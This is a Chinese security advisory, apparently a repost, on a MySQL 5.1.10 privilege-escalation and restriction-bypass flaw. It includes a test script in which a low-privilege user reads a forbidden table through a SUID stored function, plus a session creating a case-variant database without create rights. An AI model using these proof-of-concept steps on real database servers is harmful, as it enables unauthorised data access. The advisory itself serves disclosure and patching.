CBA

MySQL权限提升及安全限制绕过漏洞

2019-06-20 05:35:02来源:励志吧0次阅读

  受影响系统:

  MySQL AB MySQL = 5.1.10

  描述:

  BUGTRAQ ID: 19559

  MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

  在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

  此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

  测试方法:

  【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

  1、创建数据库

  $ mysql -h rver -u sample -p -A sample

  Enter password:

  Welcome to the MySQL monitor. Commands end with ; or \g.

  Your MySQL connection id is 263935 to server version: 4.1.16-standard

  mysql create database another;

  ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

  mysql create database sAmple;

  Query OK, 1 row affected (0.00 sec)

  2、权限提升

  --disable_warnings

  drop database if exists mysqltest1;

  drop database if exists mysqltest2;

  drop function if exists f_suid;

  --enable_warnings

  # Prepare playground

  create database mysqltest1;

  create database mysqltest2;

  create user malory@localhost;

  grant all privileges on mysqltest1.* to malory@localhost;

  # Create harmless (but SUID!) function

  create function f_suid(i int) returns int return 0;

  grant execute on function test.f_suid to malory@localhost;

  use mysqltest2;

  # Create table in which malory@localhost will be interested but to which

  # he won't have any access

  create table t1 (i int);

  connect (malcon, localhost, malory,,mysqltest1);

  # Correct malory@localhost don't have access to mysqltest2.t1

  --error ER_TABLEACCESS_DENIED_ERROR

  select * from mysqltest2.t1;

  # Create function which will allow to exploit security hole

  delimiter |;

  create function f_evil ()

  returns int

  sql security invoker

  begin

  set @a:= current_user();

  set @b:= (select count(*) from mysqltest2.t1);

  return 0;

  end

  delimiter ;

  # Again correct

  --error ER_TABLEACCESS_DENIED_ERROR

  select f_evil();

  select @a, @b;

  # Oops!!! it seems that f_evil() is executed in the context of

  # f_suid() definer, so malory@locahost gets all info that he wants

  select test.f_suid(f_evil());

  select @a, @b;

  connection default;

  drop user malory@localhost;

  drop database mysqltest1;

  drop database mysqltest2;

  建议:

  厂商补丁:MySQL AB

  目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

痛经吃什么可以治愈
痛经吃什么中药止痛
痛经的日常保养
分享到: